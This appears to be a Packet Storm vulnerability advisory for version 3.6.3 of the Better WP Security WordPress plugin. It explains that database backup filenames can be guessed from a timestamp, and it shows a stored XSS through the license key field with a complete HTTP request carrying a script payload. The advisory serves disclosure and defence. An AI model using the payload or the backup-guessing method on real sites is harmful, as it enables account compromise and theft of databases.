exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Better WP Security 3.6.3 XSS / Disclosure

WordPress Better WP Security 3.6.3 XSS / Disclosure
Posted Feb 15, 2014
Authored by Yashar shahinzadeh

WordPress Better WP Security plugin version 3.6.3 suffers from information disclosure and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, info disclosure
SHA-256 | bafa2024f4c45430b34ad1a7bf7281c235b2ac9d77bc18d543a0ac4ec5aa3b0e

WordPress Better WP Security 3.6.3 XSS / Disclosure

Change Mirror Download
###################################################################################################################################
# Exploit Title: Wordpress Plugin - Better WP Security multiple vulnerability
# Date: 2014 11 Fabruary
# Exploit Author: Yashar shahinzadeh
# Special thanks to Mormoroth
# Credit goes for: http://y-shahinzadeh.ir & ha.cker.ir
# Vendor Homepage: https://wordpress.org/plugins/better-wp-security/
# Tested on: Linux & Windows, PHP 5.3.2
# Affected Version : 3.6.3 (Last)
#
# Contacts: { http://Twitter.com/YShahinzadeh , http://y-shahinzadeh.ir , http://Twitter.com/Mormoroth , http://mormoroth.ir }
###################################################################################################################################

Summary:
========
1. Information Disclosure (Database Backup)
2. Persisted XSS
2. Further Information

1. Information Disclosure (Database Backup):
============================================
The Better WP Security suffers from information disclosure. In backup section, there are two options. Firstly, emailing backup file via email which is secured enough.
Secondly , the backup files can be stored in /wp-content/plugins/better-wp-security/backups/ folder. It's protected by an index, althoguh it's named by a weak random function.

Vulnerable code:

...
...
$return .= PHP_EOL . PHP_EOL;

//save file
$file = 'database-backup-' . current_time( 'timestamp' );
$handle = @fopen( BWPS_PP . 'backups/' . $file . '.sql', 'w+' );
@fwrite( $handle, $return );
@fclose( $handle );
...
...

current_time() function is a Wordpress's function which returns current timestamp. As it can be seen, 'database-backup-' is hardcoded, so guessing or carrying out a brute force attack
isn’t hard.


2. Persisted XSS:
=================
The Better WP Security also suffers from stored XSS. In the premium box, by entering a valid key user can upgrade plugin to premium. Escaping is applied on the inputs.
However, it isn't sufficient to prevent occurring XSS. The key is stored in database within wp_options table. better-wp-security_licensekey holds the input's value. The plugin
reads the key from database, then the key is shown to user and it's triggering the vulnerability. So, submiting "><scrip>alert(1)</script> would be a dimonstration.

POST /wordpress-3.8/wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost/wordpress-3.8/wp-admin/admin.php?page=better-wp-security
Content-Length: 154
Cookie: wordpress_28c73b7b2dbeccbe781794c02ea85151=admin%7C1392286658%7C751462ff973e5134c6754a1f9e632196; wp-settings-time-1=1392116314; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_28c73b7b2dbeccbe781794c02ea85151=admin%7C1392286658%7C0c253ec7ed5976931c8480ab85be8c1f
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

action=foolic_validate_license-better-wp-security&license=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E&nonce=71277a8a19&input=better-wp-security%5Blicense%5D


Stored XSS in administration panel can be leveraged to exploit another administrator (client hacking) or even be a small piece in a chain of attack’s steps.


3. Further Information:
=======================
Further analysis about backup function can be found at my blog, http://blog.y-shahinzadeh.ir

/** Yasshar Shahinzadeh **/
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close